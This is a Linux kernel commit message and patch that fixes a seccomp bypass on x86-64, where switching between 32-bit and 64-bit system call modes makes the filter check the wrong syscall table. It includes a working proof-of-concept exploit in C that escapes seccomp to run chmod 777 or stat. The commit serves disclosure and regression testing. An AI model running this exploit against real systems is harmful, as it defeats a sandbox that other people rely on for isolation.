x86-64: seccomp: fix 32/64 syscall hole

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

1 files changed, 4 insertions, 3 deletions

diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index ad64fcb..57d4b13 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -8,6 +8,7 @@
 
 #include <linux/seccomp.h>
 #include <linux/sched.h>
+#include <linux/compat.h>
 
 /* #define SECCOMP_DEBUG 1 */
 #define NR_SECCOMP_MODES 1
@@ -22,7 +23,7 @@ static int mode1_syscalls[] = {
 	0, /* null terminated */
 };
 
-#ifdef TIF_32BIT
+#ifdef CONFIG_COMPAT
 static int mode1_syscalls_32[] = {
 	__NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
 	0, /* null terminated */
@@ -37,8 +38,8 @@ void __secure_computing(int this_syscall)
 	switch (mode) {
 	case 1:
 		syscall = mode1_syscalls;
-#ifdef TIF_32BIT
-		if (test_thread_flag(TIF_32BIT))
+#ifdef CONFIG_COMPAT
+		if (is_compat_task())
 			syscall = mode1_syscalls_32;
 #endif
 		do {